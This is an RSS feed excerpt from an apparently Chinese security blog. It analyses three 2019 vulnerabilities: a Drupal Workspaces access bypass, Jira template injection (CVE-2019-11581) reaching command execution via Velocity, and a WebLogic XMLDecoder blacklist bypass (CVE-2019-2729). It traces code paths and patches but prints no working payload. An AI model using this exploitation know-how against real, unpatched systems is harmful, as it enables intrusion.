&lt;li&gt;&lt;code&gt;Stage&lt;/code&gt;模式下修改内容不会及时更新，所有文章修改完毕后管理员可以通过&lt;code&gt;Deploy to Live&lt;/code&gt;发布到实际环境，相当于一个暂存区；&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104412.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Live&lt;/code&gt;下更新是即时的，发布后站点内容立即更新。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在这两种模式下，由于编码失误导致存在一个缺陷：匿名用户无需登录即可创建/发布/修改/删除文章，问题点出现在权限鉴定模块&lt;code&gt;EntityAccess&lt;/code&gt;下。&lt;/p&gt;

&lt;h4 id=&#34;漏洞分析&#34;&gt;漏洞分析&lt;/h4&gt;

&lt;p&gt;当用户发起请求时，会根据当前操作回调相关权限检查模块对当前用户权限进行检查，请求调用为事件监听器(&lt;code&gt;EventListener&lt;/code&gt;)的&lt;code&gt;RouterListener&lt;/code&gt;类，在其&lt;code&gt;onKernelRequest()&lt;/code&gt;方法中调用&lt;code&gt;AccessAwareRouter&lt;/code&gt;类的&lt;code&gt;matchRequest()&lt;/code&gt;方法，随后调用&lt;code&gt;AccessManager-&amp;gt;checkRequest()&lt;/code&gt;方法，最后在&lt;code&gt;AccessManager-&amp;gt;performCheck()&lt;/code&gt;方法中通过&lt;code&gt;call_user_func_array&lt;/code&gt;回调对应的操作进入到具体的操作权限检查&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104431.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;例如发布文章时回调的是&lt;code&gt;access_check.node.add&lt;/code&gt;，相关方法在&lt;code&gt;NodeAccessControlHandler&lt;/code&gt;控制器中定义，这个控制器继承自&lt;code&gt;EntityAccessControlHandler&lt;/code&gt;，在父类的&lt;code&gt;createAccess()&lt;/code&gt;方法中回调对应操作的&lt;code&gt;create_access&lt;/code&gt;权限，过程中会拼接上模块名和相应钩子作为回调函数，&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$function = module . &#39;_&#39; . $hook
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;例如此处回调的是&lt;code&gt;workspaces_entity_create_access()&lt;/code&gt;方法，进入到Workspaces中。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104438.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在调用&lt;code&gt;entityCreateAccess()&lt;/code&gt;方法时有一个关键操作&lt;code&gt;bypassAccessResult&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104445.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;bypassAccessResult()&lt;/code&gt;方法是一个检查用户是否有&lt;code&gt;&amp;quot;绕过节点访问权限(bypass node access)&amp;quot;&lt;/code&gt;的操作，是Workspaces中特有的，这个方法决定了&amp;rdquo;如果用户在各自的激活的工作区中，那么他将拥有所有权限&amp;rdquo;，这里的所有权限指文章相关的增删改操作。&lt;/p&gt;

&lt;p&gt;这个权限虽然奇怪但确实是一个设计好的功能，正常操作应该在后台&lt;code&gt;admin/people/permissions&lt;/code&gt;中配置好用户是否拥有这个权限，默认情况下匿名用户和认证用户都没有权限&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104451.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当开启了&lt;code&gt;Bypass content entity access in own workspace&lt;/code&gt;权限后用户才可以在未登录的情况下发布/删除文章，而此次漏洞就绕过了这个配置，默认情况下进行了越权操作。&lt;/p&gt;

&lt;p&gt;具体分析一下&lt;code&gt;bypassAccessResult()&lt;/code&gt;的实现，整个过程返回的是&lt;code&gt;AccessResultAllowed&lt;/code&gt;对象或者&lt;code&gt;AccessResultNeutral&lt;/code&gt;对象，所谓&amp;rdquo;中立&amp;rdquo;是因为后续还可能会对结果再做判断，但在这个漏洞中其实就是&lt;code&gt;access&lt;/code&gt;和&lt;code&gt;forbidden&lt;/code&gt;的区别：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104457.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;首先获取了当前激活的工作区，然后通过&lt;code&gt;allowedIf&lt;/code&gt;判断当前用户是否有权限，随后这些数据存入缓存，包括缓存内容、缓存标签和过期时间。然后再经过一次&lt;code&gt;allowedIfHasPermission&lt;/code&gt;判断，这个方法的作用是，如果权限不对就设置一个&lt;code&gt;reason&lt;/code&gt;，在这个漏洞中没有起到作用，到目前为止权限校验都是正常的，在没有配置后台工作区匿名权限的时候，返回的是一个&lt;code&gt;AccessResultNeutral&lt;/code&gt;对象，也就是&amp;rdquo;禁止&amp;rdquo;。&lt;/p&gt;

&lt;p&gt;接下来就是出现问题的地方&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$owner_has_access-&amp;gt;orIf(access_bypass);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;通过补丁可以发现漏洞就修补了这行语句，把&lt;code&gt;orIf&lt;/code&gt;换成了&lt;code&gt;andIf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104509.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这两个方法的设计逻辑比较复杂，最主要的功能是对一个如果返回为&amp;rdquo;中立&amp;rdquo;的结果做后续判断，如果采用orIf方法合并，那么是否允许由调用者决定；如果以andIf方法合并，则被当做禁止。&lt;/p&gt;

&lt;p&gt;具体到此次漏洞上的区别如下方图片所示：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;orIf()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104515.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;返回的是&lt;code&gt;AccessResultAllowed&lt;/code&gt;对象&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104520.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;andIf()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104525.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;返回的是&lt;code&gt;AccessResultNeutral&lt;/code&gt;对象&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104529.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在检查完毕后会回到&lt;code&gt;AccessAwareRouter-&amp;gt;checkAccess()&lt;/code&gt;方法，在该方法中对返回结果进行了判断，&lt;code&gt;AccessResultNeutral&lt;/code&gt;的&lt;code&gt;isAllowed()&lt;/code&gt;返回&lt;code&gt;false&lt;/code&gt;，因此会抛出异常&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104536.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;返回到页面上则是&lt;code&gt;Access denied&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104542.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;更新补丁后只有在开启后台匿名用户权限后才能进行文章操作，该选项默认不开启。&lt;/p&gt;

&lt;p&gt;相关调用栈为&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Drupal\workspaces\EntityAccess-&amp;gt;bypassAccessResult()

Drupal\workspaces\EntityAccess-&amp;gt;entityCreateAccess()

...

Drupal\Core\Extension\ModuleHandler-&amp;gt;invokeAll()

Drupal\node\NodeAccessControlHandler-&amp;gt;createAccess()

Drupal\node\Access\NodeAddAccessCheck-&amp;gt;access()

Drupal\Core\Access\AccessManager-&amp;gt;performCheck()

Drupal\Core\Routing\AccessAwareRouter-&amp;gt;checkAccess()

Drupal\Core\Routing\AccessAwareRouter-&amp;gt;matchRequest()

Symfony\Component\HttpKernel\EventListener\RouterListener-&amp;gt;onKernelRequest()

...

DrupalKernel.php:693, Drupal\Core\DrupalKernel-&amp;gt;handle()

index.php:19, {main}()
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;0x05-总结&#34;&gt;0x05 总结&lt;/h3&gt;

&lt;p&gt;此次漏洞出现在设计过程的一个疏忽，在默认没有分配权限的情况下用户可以绕过权限检查进行发布/删除/修改文章操作，但由于该漏洞仅影响Drupal 8.7.4版本，并且需要开启&lt;code&gt;Workspaces&lt;/code&gt;模块，这又是一个实验功能，默认不启用，因此漏洞影响减弱了不少，用户可以升级&lt;code&gt;Drupal&lt;/code&gt;版本或者关闭&lt;code&gt;Workspaces&lt;/code&gt;模块以消除漏洞影响。&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>CVE-2019-11581 Atlassian Jira未授权模板注入漏洞分析</title>
      <link>https://kylingit.com/blog/cve-2019-11581-atlassian-jira%E6%9C%AA%E6%8E%88%E6%9D%83%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Wed, 17 Jul 2019 10:52:08 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/cve-2019-11581-atlassian-jira%E6%9C%AA%E6%8E%88%E6%9D%83%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;7月10日，&lt;code&gt;Atlassian&lt;/code&gt;官方发布安全公告，修复了&lt;code&gt;Jira Server&lt;/code&gt;和&lt;code&gt;Jira Data Center&lt;/code&gt;的一个模板注入漏洞，CVE编号&lt;code&gt;CVE-2019-11581&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;公告地址：&lt;a href=&#34;https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html&#34;&gt;https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x02-环境搭建&#34;&gt;0x02 环境搭建&lt;/h3&gt;

&lt;p&gt;使用&lt;code&gt;atlas-debug&lt;/code&gt;调试&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;下载安装Atlassian SDK，&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/&#34;&gt;地址&lt;/a&gt;；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;atlas-create-jira-plugin&lt;/code&gt;创建一个插件，&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/&#34;&gt;参考&lt;/a&gt;；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;atlas-debug&lt;/code&gt;开启调试，http端口2990，调试端口5005；&lt;/li&gt;
&lt;li&gt;IDEA打开MyPlugin，把&lt;code&gt;WEB-INF/classes&lt;/code&gt;和&lt;code&gt;WEB-INF/lib&lt;/code&gt;加入library；&lt;/li&gt;
&lt;li&gt;新建Remote调试；&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;其他：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;如果没有设置%JAVA_HOME%可以通过&lt;code&gt;SET JAVA_HOME=d:\jdk1.8&lt;/code&gt;设置；&lt;/li&gt;
&lt;li&gt;默认不开启电子邮件发送，通过&lt;code&gt;atlas-debug --jvmargs -Datlassian.mail.senddisabled=false&lt;/code&gt;开启；&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;0x03-漏洞分析&#34;&gt;0x03 漏洞分析&lt;/h3&gt;

&lt;h4 id=&#34;第一部分-注入代码并生成邮件&#34;&gt;第一部分：注入代码并生成邮件&lt;/h4&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563246860552.png&#34; alt=&#34;1563246860552&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;post&lt;/code&gt;的数据通过&lt;code&gt;JiraSafeActionParameterSetter-&amp;gt;setActionProperty()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563271320369.png&#34; alt=&#34;1563271320369&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过反射调用到&lt;code&gt;ContactAdministrators.setSubject()&lt;/code&gt;方法，把&lt;code&gt;ContactAdministrators&lt;/code&gt;对象的&lt;code&gt;subject&lt;/code&gt;属性设置为传入的&lt;code&gt;subject&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;随后通过&lt;code&gt;ContactAdministrators.doExecute()&lt;/code&gt;调用&lt;code&gt;send()&lt;/code&gt;方法，在这个方法中会查找系统中已激活的管理员，通过&lt;code&gt;this.sendTo(administrator)&lt;/code&gt;将邮件发送给该管理员&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563247236827.png&#34; alt=&#34;1563247236827&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;sendTo()&lt;/code&gt;流程中，&lt;code&gt;Jira&lt;/code&gt;需要通过&lt;code&gt;EmailBuilder()&lt;/code&gt;方法创建一个邮件队列对象，随后将该对象放入邮件发送队列中。由于队列等待原因，所以触发&lt;code&gt;payload&lt;/code&gt;可能需要等待一段时间，并且当邮件发送失败时系统会继续尝试发送邮件，所以&lt;code&gt;payload&lt;/code&gt;可能会触发多次。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563247471810.png&#34; alt=&#34;1563247471810&#34; /&gt;&lt;/p&gt;

&lt;p&gt;创建队列的方法有点长，精简一下就是这个样子&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;MailQueueItem item = (new EmailBuilder()).withSubject(this.subject).withBodyFromFile().addParameters().renderLater();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;通过&lt;code&gt;EmailBuilder&lt;/code&gt;的&lt;code&gt;withSubject()&lt;/code&gt;方法，创建一个&lt;code&gt;TemplateSources$fragment&lt;/code&gt;对象，参数即是我们传入的&lt;code&gt;payload&lt;/code&gt;，随后调用&lt;code&gt;renderLater()&lt;/code&gt;方法创建出&lt;code&gt;EmailBuilder&lt;/code&gt;对象，再将该对象作为参数传递给&lt;code&gt;RenderingMailQueueItem&lt;/code&gt;类，&lt;code&gt;RenderingMailQueueItem&lt;/code&gt;的继承关系是如下图，于是最终创建出一个&lt;code&gt;MailQueueItem&lt;/code&gt;对象，并将该对象放入邮件发送队列。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563248388715.png&#34; alt=&#34;1563248388715&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;第二部分-发送邮件&#34;&gt;第二部分：发送邮件&lt;/h4&gt;

&lt;p&gt;当我们把&lt;code&gt;payload&lt;/code&gt;注入到模板中之后，邮件进入待发送队列，Jira中处理邮件队列的具体流程如下：&lt;/p&gt;

&lt;p&gt;通过模板引擎&lt;code&gt;(getTemplatingEngine)&lt;/code&gt;生成一个&lt;code&gt;Velocity&lt;/code&gt;模板，通过&lt;code&gt;applying()&lt;/code&gt;方法生成&lt;code&gt;RenderRequest&lt;/code&gt;对象，之后根据该对象成员变量&lt;code&gt;source&lt;/code&gt;的类型，调用不同的方法解析模板，漏洞的产生正是由于这个差异造成的，下面详细分析一下。&lt;/p&gt;

&lt;p&gt;首先进入&lt;code&gt;RenderingMailQueueItem().send()&lt;/code&gt;方法，调用&lt;code&gt;this.emailRenderer.render()&lt;/code&gt;，随后调用&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;this.getTemplatingEngine().render(this.subjectTemplate).applying(contextParams).asPlainText();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个过程中前面是为了获取模板解析引擎&lt;code&gt;（VelocityTemplatingEngine）&lt;/code&gt;并传入主题模板（此处为payload数据），通过&lt;code&gt;applying()&lt;/code&gt;方法创建&lt;code&gt;VelocityContext&lt;/code&gt;对象并把&lt;code&gt;payload&lt;/code&gt;赋值给成员变量&lt;code&gt;source&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563267497538.png&#34; alt=&#34;1563267497538&#34; /&gt;&lt;/p&gt;

&lt;p&gt;随后重写了抽象类&lt;code&gt;StringRepresentation&lt;/code&gt;的&lt;code&gt;with()&lt;/code&gt;方法，在&lt;code&gt;with()&lt;/code&gt;方法中调用了&lt;code&gt;asPlainText()&lt;/code&gt;方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;DefaultRenderRequest.this.asPlainText(sw)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;asPlainText()&lt;/code&gt;的作用是通过&lt;code&gt;Velocity&lt;/code&gt;模板引擎解析模板，其中的调用链是&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;toWriterImpl()-&amp;gt;writeEncodedBodyForContent()-&amp;gt;evaluate()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;而在&lt;code&gt;evaluate()&lt;/code&gt;方法中生成了&lt;code&gt;AST&lt;/code&gt;结构，随后通过反射调用传入的&lt;code&gt;payload&lt;/code&gt;，完成代码执行。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563245970455.png&#34; alt=&#34;1563245970455&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;asPlainText()&lt;/code&gt;之后的调用栈如下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563246607016.png&#34; alt=&#34;1563246607016&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在处理完Object模板后会调用父类&lt;code&gt;SingleMailQueueItem&lt;/code&gt;的send()方法，通过&lt;code&gt;smtpMailServer.sendWithMessageId()&lt;/code&gt;发送邮件，由于没有正确配置&lt;code&gt;SMTP&lt;/code&gt;服务会抛出异常，但在连接&lt;code&gt;SMTP&lt;/code&gt;服务之前漏洞已经触发了，控制台也能看到&lt;code&gt;MailQueue&lt;/code&gt;执行的过程。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563257377543.png&#34; alt=&#34;1563257377543&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;思考&#34;&gt;思考&lt;/h3&gt;

&lt;p&gt;上述漏洞流程走完了，但还有一个关键问题没有解决：为什么邮件主题&lt;code&gt;Subject&lt;/code&gt;会被解析成&lt;code&gt;AST&lt;/code&gt;结构并被执行呢？按照正常发送反馈的逻辑，一封邮件的主题（字符串）似乎没有必要解析成&lt;code&gt;AST&lt;/code&gt;，导致差异的原因是什么？&lt;/p&gt;

&lt;p&gt;发送一封正常的“联系管理员”邮件，走一遍流程&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563268202907.png&#34; alt=&#34;1563268202907&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563268493868.png&#34; alt=&#34;1563268493868&#34; /&gt;&lt;/p&gt;

&lt;p&gt;对比一下两个处理流程，当发送正常反馈时，&lt;code&gt;writeEncodedBody()&lt;/code&gt;中调用的是&lt;code&gt;this.getVe().mergeTemplate&lt;/code&gt;，通过&lt;code&gt;Velocity&lt;/code&gt;引擎的&lt;code&gt;ClasspathResourceLoader()&lt;/code&gt;类的&lt;code&gt;getResourceStream()&lt;/code&gt;方法加载模板文件，此处的模板是&lt;code&gt;templates/email/html/contactadministrator.vm&lt;/code&gt;，随后还会进行&lt;code&gt;header&lt;/code&gt;、&lt;code&gt;footer&lt;/code&gt;等正常加载流程，最终渲染出整个页面。而发送&lt;code&gt;payload&lt;/code&gt;时，通过asPlainText()创建出TemplateSource$Fragment对象，再通过DefaultRenderRequest构造方法把&lt;code&gt;source&lt;/code&gt;成员变量赋值为这个&lt;code&gt;Fragment&lt;/code&gt;对象，于是进入第一个分支，调用的是&lt;code&gt;this.getVe().evaluate()&lt;/code&gt;，最终调用&lt;code&gt;ASTMethod.execute()&lt;/code&gt;，这正是前面说的差异性导致的两个不同处理逻辑。&lt;/p&gt;

&lt;p&gt;回过头看一下&lt;code&gt;Velocity&lt;/code&gt;渲染的大致流程：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Velocity渲染引擎首先磁盘加载模板文件到内存，然后解析模板模板文件为AST结构，并对AST中每个节点进行初始化，第二次加载同一个模板文件时候如果开启了缓存则直接返回模板资源，通过使用资源缓存节省了从磁盘加载并重新解析为AST的开销。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;而&lt;code&gt;ASTMethod.execute()&lt;/code&gt;方法设计之初是在&lt;code&gt;Velocity parse&lt;/code&gt;解析模板的过程中，通过反射调用相关方法完成正常模板渲染动作，例如获取背景颜色、获取text内容、获取页面编码等，但当此处攻击者传入精心构造的数据后，利用反射执行了&lt;code&gt;java.lang.Runtime.getRuntime&lt;/code&gt;，成功达到命令执行的目的，漏洞利用十分精巧。&lt;/p&gt;

&lt;p&gt;补充：严格意义上讲这不属于一个模板注入漏洞，因为代码并没有“注入”到某一个模板中，漏洞触发过程是在解析模板文件之前，利用的是解析模板的过程，恶意代码并没有真正落地也没有插入到某个模板里面，所以称之为“代码注入”也许更合适。&lt;/p&gt;

&lt;h3 id=&#34;参考&#34;&gt;参考&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html&#34;&gt;https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/atlas-debug/&#34;&gt;https://developer.atlassian.com/server/framework/atlassian-sdk/atlas-debug/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/&#34;&gt;https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/velocity%E5%8E%9F%E7%90%86%E6%8E%A2%E7%A9%B6/&#34;&gt;http://ifeve.com/velocity%E5%8E%9F%E7%90%86%E6%8E%A2%E7%A9%B6/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>CVE-2019-2729 Weblogic XMLDecoder反序列化漏洞分析</title>
      <link>https://kylingit.com/blog/cve-2019-2729-weblogic-xmldecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Wed, 19 Jun 2019 12:26:39 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/cve-2019-2729-weblogic-xmldecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;h3 id=&#34;漏洞分析&#34;&gt;漏洞分析&lt;/h3&gt;

&lt;p&gt;该漏洞是&lt;code&gt;CVE-2019-2725&lt;/code&gt;的绕过，因此前面的流程都是一样的，经过21个&lt;code&gt;handler&lt;/code&gt;处理，最终进入&lt;code&gt;WorkAreaHeader&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620123830.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在4月份&lt;code&gt;oracle&lt;/code&gt;对2725紧急补丁中，过滤了&lt;code&gt;class&lt;/code&gt;元素，因此不能再通过&lt;code&gt;class&lt;/code&gt;创建对象&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620123907.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这次的绕过实际上就是找到另外的元素代替&lt;code&gt;class&lt;/code&gt;进而绕过补丁。&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;jdk7&lt;/code&gt;中解析&lt;code&gt;xml&lt;/code&gt;时获取&lt;code&gt;element&lt;/code&gt;元素的相关类为&lt;code&gt;com.sun.beans.decoder.DocumentHandler&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;当传入&lt;code&gt;array&lt;/code&gt;标签，进入&lt;code&gt;ArrayElementHandler&lt;/code&gt;，为&lt;code&gt;array&lt;/code&gt;元素添加属性时，只能从&lt;code&gt;length&lt;/code&gt;，&lt;code&gt;class&lt;/code&gt;，&lt;code&gt;id&lt;/code&gt;中选择，唯一能创建类的&lt;code&gt;class&lt;/code&gt;已经加入了黑名单，所以在&lt;code&gt;jdk1.7&lt;/code&gt;下不受此漏洞影响，这次的绕过出现在低于&lt;code&gt;jdk1.7&lt;/code&gt;的&lt;code&gt;java&lt;/code&gt;版本上。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;weblogic 10.3.6.0&lt;/code&gt;自带的&lt;code&gt;jdk&lt;/code&gt;版本为1.6，&lt;code&gt;jdk1.6&lt;/code&gt;中解析xml时有很大的不同，相关处理方法在&lt;code&gt;com.sun.beans.ObjectHandler&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;解析时首先进入的是&lt;code&gt;startElement&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;该方法首先获取元素的属性并创建一个&lt;code&gt;hashmap&lt;/code&gt;，当元素含有属性时，会根据属性值进行类/属性/方法的相关操作，当元素没有属性时，调用的是&lt;code&gt;new&lt;/code&gt;方法，例如解析&lt;code&gt;&amp;lt;java&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;void&amp;gt;&lt;/code&gt;时。而此时如果传入了&lt;code&gt;method&lt;/code&gt;值就会把方法名设置为该值。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620123922.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;随后把方法名设置为我们传入的值，最终通过&lt;code&gt;forName&lt;/code&gt;找到指定的类&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620123941.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620123956.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;之后的流程就和2725一样的了&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/20190620124052.png&#34; alt=&#34;1560635046339&#34; /&gt;&lt;/p&gt;

&lt;p&gt;进入&lt;code&gt;WorkContextXmlInputAdapter:readUTF()&lt;/code&gt;后的调用栈&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620124309.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;补丁分析&#34;&gt;补丁分析&lt;/h3&gt;

&lt;p&gt;6月19日，&lt;code&gt;Oralce&lt;/code&gt;官方放出了该漏洞的补丁，详情见&lt;a href=&#34;https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2729-5570780.html&#34;&gt;这里&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;分析一下补丁&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;this.validate(new ByteArrayInputStream(baos.toByteArray()));
this.validateFormat(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
&lt;/code&gt;&lt;/pre&gt;

